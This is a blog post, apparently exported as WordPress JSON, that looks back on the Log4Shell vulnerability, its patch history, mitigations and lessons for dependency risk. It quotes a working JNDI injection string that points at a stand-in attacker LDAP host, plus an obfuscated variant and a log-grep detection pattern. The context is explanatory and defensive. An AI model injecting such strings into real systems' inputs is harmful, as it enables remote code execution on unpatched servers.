{"id":558,"date":"2026-11-19T06:43:00","date_gmt":"2026-11-19T14:43:00","guid":{"rendered":"https:\/\/blog.canutethegreat.com\/?p=558"},"modified":"2026-11-06T09:04:44","modified_gmt":"2026-11-06T17:04:44","slug":"log4shell-dependency-risk-lessons","status":"publish","type":"post","link":"https:\/\/blog.canutethegreat.com\/index.php\/2026\/11\/19\/log4shell-dependency-risk-lessons\/","title":{"rendered":"Log4Shell and what it taught us about dependency risk"},"content":{"rendered":"<p>I remember the afternoon of December 9, 2021 mostly as a lot of people asking the same question in chat: do we even use log4j? Nobody knew. The honest answer at most companies was &#8220;probably, somewhere, transitively,&#8221; and finding out took days.<\/p>\n<p>The bug is CVE-2021-44228, reported to Apache by Chen Zhaojun of Alibaba Cloud&#8217;s security team. It affects Log4j 2 from 2.0-beta9 through 2.14.1, and it scored a CVSS 10.0. The mechanics are almost embarrassingly simple, which is why it is worth understanding properly rather than as a slogan.<\/p>\n<h2>What the bug actually was<\/h2>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/blog.canutethegreat.com\/wp-content\/uploads\/2026\/11\/d.png\" alt=\"Sequence diagram of the original Log4Shell attack flow, from the attacker request through the outbound LDAP query to code execution, with default-deny egress marked as the point that breaks the chain\" \/><\/figure>\n<p>The diagram above traces the original attack path step by step and marks where an outbound firewall rule stops it.<\/p>\n<p>Log4j 2 supports lookups, a substitution syntax inside log messages. <code>${env:HOME}<\/code> expands to an environment variable, <code>${date:yyyy-MM-dd}<\/code> to a date. One of the lookups was <code>jndi<\/code>, added in 2013, which resolves a name through the Java Naming and Directory Interface. JNDI can talk to LDAP, RMI and DNS servers.<\/p>\n<p>The substitution ran on the formatted message, after your data had been interpolated into it. So this perfectly ordinary and, until then, perfectly recommended line was exploitable:<\/p>\n<pre tabindex=\"0\" class=\"wp-block-code\"><code>logger.error(\"Login failed, user agent: {}\", request.getHeader(\"User-Agent\"));<\/code><\/pre>\n<p>Parameterized logging did not save you. If the header contained <code>${jndi:ldap:\/\/attacker.example\/a}<\/code>, Log4j expanded it, connected to the attacker&#8217;s LDAP server, and treated the response as a reference to a Java object. In the original exploitation path, that reference pointed at a remote class file the vulnerable JVM would load and run.<\/p>\n<p>That is remote code execution from a string you logged. Any attacker-controlled value that reached a logger was enough: HTTP headers, usernames, chat messages, a Minecraft chat line, an iPhone&#8217;s device name. The first thing attackers did was spray the payload into every header they could think of and wait for a DNS callback.<\/p>\n<h2>Why the usual Java defenses only half worked<\/h2>\n<p>People pointed out that JDK 8u191 and later set <code>com.sun.jndi.ldap.object.trustURLCodebase<\/code> to false, which blocks loading classes from a remote codebase over LDAP. True, and it did close the simplest path. But researchers quickly showed that an attacker could instead return a serialized object or a reference to a factory class already on the victim&#8217;s classpath, and use known gadget chains from there. Newer JDKs reduced the exposure. They did not fix it.<\/p>\n<p>The other thing that stung was egress. The vulnerable server had to reach out to the attacker&#8217;s LDAP or RMI listener. Plenty of production servers can make arbitrary outbound connections. Those that could not were in a much better place that week, and I have since become a bit of a bore about default-deny outbound rules.<\/p>\n<h2>The patches took four tries<\/h2>\n<p>This part gets forgotten, and it matters for how you run response.<\/p>\n<p>2.15.0 (December 10) disabled JNDI lookups from message content by default, but left a hole in non-default Pattern Layouts that use context lookups. That became CVE-2021-45046, first rated as a denial of service and later raised to remote code execution in some configurations. 2.16.0 removed message lookups entirely and disabled JNDI by default. 2.17.0 fixed uncontrolled recursion in lookups, CVE-2021-45105, a denial of service. 2.17.1 fixed CVE-2021-44832, where an attacker who could modify the logging configuration could get code execution through the JDBC Appender with a JNDI data source.<\/p>\n<p>The Java 7 and Java 6 branches got their own backports (2.12.x and 2.3.x). If your remediation ticket said &#8220;upgrade to 2.15.0&#8221; and got closed, you were not done.<\/p>\n<h2>Interim mitigations, and why I stopped trusting some of them<\/h2>\n<p>For a few days the standard advice was to set <code>-Dlog4j2.formatMsgNoLookups=true<\/code> or the matching environment variable. That flag exists from 2.10 on and did not cover every path, which is part of what CVE-2021-45046 was about. The mitigation that held up best was deleting the class:<\/p>\n<pre tabindex=\"0\" class=\"wp-block-code\"><code>zip -q -d log4j-core-2.14.1.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/code><\/pre>\n<p>You also need to find the jars, including the ones hidden inside fat jars and containers. A first pass:<\/p>\n<pre tabindex=\"0\" class=\"wp-block-code\"><code>find \/ -type f \\( -name 'log4j-core*.jar' -o -name '*.war' -o -name '*.ear' \\) 2&gt;\/dev\/null\nunzip -l app.jar | grep -i 'log4j\/core\/lookup\/JndiLookup'<\/code><\/pre>\n<p>Searching logs for the attack string works, but attackers used obfuscation like <code>${${lower:j}ndi:...}<\/code> almost immediately, so a naive grep for <code>jndi<\/code> undercounts. A looser filter:<\/p>\n<pre tabindex=\"0\" class=\"wp-block-code\"><code>grep -rEi '\\$\\{.{0,60}j.{0,60}n.{0,60}d.{0,60}i.{0,60}:' \/var\/log\/ 2&gt;\/dev\/null<\/code><\/pre>\n<p>Expect false positives and treat it as a rough filter, not a verdict. Outbound LDAP and RMI connections from application servers, and unexpected DNS lookups to domains you do not own, were the more reliable signal.<\/p>\n<h2>What it taught defenders about dependency risk<\/h2>\n<p>An inventory is a prerequisite and not a project for later. The teams that answered &#8220;are we affected&#8221; in an hour had a software bill of materials, or at least a way to query which artifacts were deployed where. Everyone else grepped filesystems. I have written before about what SBOMs are good for, and this incident is the cleanest example: they are good for exactly this question.<\/p>\n<p>A feature nobody asked for was the problem. Message lookups from log content were a convenience that almost nobody used on purpose, and the JNDI lookup was powerful enough to load code. The lesson I take for my own code is to ask what an interpolation or expansion feature can reach, and to default it off. Log4j eventually did that.<\/p>\n<p>The maintainers were a small group of volunteers who spent that December handling a CVSS 10 with the whole industry watching. Most of the companies that scrambled had never contributed a dollar or a patch. I do not have a tidy fix for that. I do think &#8220;we depend on it in production&#8221; should come with some way of tracking its health, even if that is just knowing who maintains it and whether they are funded.<\/p>\n<p>Severity ratings and patch versions also lie by omission. You track a CVE family, not a single ID. After Log4Shell I stopped accepting &#8220;patched&#8221; without a version number and a way to verify it on the running system.<\/p>\n<p>The bug went into CISA&#8217;s Known Exploited Vulnerabilities catalog, and old Log4j keeps turning up inside vendor appliances you cannot patch yourself. Those need a vendor ticket and an egress rule, not a jar replacement.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I remember the afternoon of December 9, 2021 mostly as a lot of people asking the same question in chat: do we even use log4j? Nobody knew. The honest answer at most companies was &#8220;probably, somewhere, transitively,&#8221; and finding out took days. The bug is CVE-2021-44228, reported to Apache by Chen Zhaojun of Alibaba Cloud&#8217;s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":560,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[293,352,353,124,269,270],"class_list":["post-558","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security","tag-cve","tag-dependency-management","tag-egress-filtering","tag-log4shell","tag-sbom","tag-software-supply-chain"],"_links":{"self":[{"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/posts\/558","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/comments?post=558"}],"version-history":[{"count":1,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/posts\/558\/revisions"}],"predecessor-version":[{"id":561,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/posts\/558\/revisions\/561"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/media\/560"}],"wp:attachment":[{"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/media?parent=558"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/categories?post=558"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.canutethegreat.com\/index.php\/wp-json\/wp\/v2\/tags?post=558"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}